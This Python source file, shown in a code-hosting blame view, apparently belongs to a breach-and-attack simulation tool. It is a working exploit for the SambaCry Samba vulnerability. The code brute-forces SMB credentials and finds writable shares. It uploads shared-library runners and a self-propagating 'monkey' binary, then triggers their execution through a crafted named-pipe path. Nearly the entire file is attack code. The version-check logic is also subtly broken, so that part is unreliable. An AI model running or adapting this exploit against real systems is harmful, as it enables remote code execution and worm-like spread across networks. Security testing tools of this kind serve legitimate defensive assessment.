monkey/chaos_monkey/exploit/sambacry.py

384 lines
16 KiB
Python
Raw Normal View History

from optparse import OptionParser
from impacket.dcerpc.v5 import transport
from os import path
import time
2017-08-31 22:50:55 +08:00
import sys
from io import BytesIO
import logging
import re
from impacket.smbconnection import SMBConnection
2017-08-31 22:50:55 +08:00
import impacket.smbconnection
from impacket.smb import SessionError
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
from exploit import HostExploiter
from exploit.tools import get_target_monkey
2017-08-31 22:50:55 +08:00
from network.smbfinger import SMB_SERVICE
from model import DROPPER_ARG
from tools import build_monkey_commandline
import monkeyfs
__author__ = 'itay.mizeretz'
# TODO: add documentation
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
# TODO: remove /home/user
# TODO: take all from config
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
2017-08-31 22:50:55 +08:00
RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
COMMANDLINE_FILENAME = "monkey_commandline.txt"
MONKEY_FILENAME_32 = "monkey32"
MONKEY_FILENAME_64 = "monkey64"
MONKEY_COPY_FILENAME_32 = "monkey32_2"
MONKEY_COPY_FILENAME_64 = "monkey64_2"
2017-08-31 22:50:55 +08:00
RUNNER_RESULT_FILENAME = "monkey_runner_result"
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
2017-08-31 22:50:55 +08:00
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
_target_os_type = ['linux']
def __init__(self):
2017-08-31 22:50:55 +08:00
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
2017-08-31 22:50:55 +08:00
if not self.is_vulnerable(host):
return
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
2017-08-31 22:50:55 +08:00
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
# TODO: decide about ignoring src_path because of arc detection bug
src_path = src_path or get_target_monkey(host)
for share in writable_shares_creds_dict:
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
# TODO: config sleep time
time.sleep(5)
2017-08-31 22:50:55 +08:00
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
2017-08-31 22:50:55 +08:00
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
# TODO: uncomment
#self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
# TODO: send telemetry
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
2017-08-31 22:50:55 +08:00
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
2017-08-31 22:50:55 +08:00
file_list = [COMMANDLINE_FILENAME, RUNNER_RESULT_FILENAME,
RUNNER_FILENAME_32, RUNNER_FILENAME_64,
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
2017-08-31 22:50:55 +08:00
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
2017-08-31 22:50:55 +08:00
smb_client.close()
def get_trigger_result(self, ip, share, creds):
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(share, "\\%s" % RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError) as e:
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
# TODO: document
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
2017-08-31 22:50:55 +08:00
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
2017-08-31 22:50:55 +08:00
# don't try shares we can already write to.
for writable_share in writable_shares_creds_dict:
if writable_share in shares:
shares.remove(writable_share)
2017-08-31 22:50:55 +08:00
for share in shares:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
2017-08-31 22:50:55 +08:00
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
2017-08-31 22:50:55 +08:00
user_password_pairs = self._config.get_exploit_user_password_pairs()
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
for share in SHARES_TO_NOT_CHECK:
if share in shares:
shares.remove(share)
return shares
def is_vulnerable(self, host):
2017-08-31 22:50:55 +08:00
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
2017-08-31 22:50:55 +08:00
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
samba_version_parts = samba_version.split('.')
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %d" %
(host.ip_addr, smb_server_name, samba_version, int(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
2017-08-31 22:50:55 +08:00
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
2017-08-31 22:50:55 +08:00
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
2017-08-31 22:50:55 +08:00
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
tree_id = smb_client.connectTree(share)
2017-08-31 22:50:55 +08:00
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
2017-08-31 22:50:55 +08:00
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
2017-08-31 22:50:55 +08:00
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
# TODO: Fix or postpone 32/64 architecture problem.
2017-08-31 22:50:55 +08:00
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME_64, monkey_bin_file.read)
2017-08-31 22:50:55 +08:00
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
2017-08-31 22:50:55 +08:00
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share_name):
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share_name)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
2017-08-31 22:50:55 +08:00
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.openPipe(smb_client, "/" + module_path)
2017-08-31 22:50:55 +08:00
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
2017-08-31 22:50:55 +08:00
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
# TODO: remove print
print str(e)
2017-08-31 22:50:55 +08:00
return False
@staticmethod
def generate_module_possible_paths(share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
2017-08-31 22:50:55 +08:00
possible_paths = []
for folder_path in FOLDER_PATHS_TO_GUESS:
for file_name in [RUNNER_FILENAME_32, RUNNER_FILENAME_64]:
possible_paths.append('%s/%s/%s' % (folder_path, share_name, file_name))
return possible_paths
@staticmethod
def get_monkey_runner_bin_file(is_32bit):
if is_32bit:
2017-08-31 22:50:55 +08:00
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_32), "rb")
else:
2017-08-31 22:50:55 +08:00
return open(path.join(sys._MEIPASS, RUNNER_FILENAME_64), "rb")
@staticmethod
2017-08-31 22:50:55 +08:00
def get_monkey_commandline_file(host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
2017-08-31 22:50:55 +08:00
def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def openPipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
2017-08-31 22:50:55 +08:00
LOG.debug('Triggering path: %s' % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
2017-08-31 22:50:55 +08:00
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)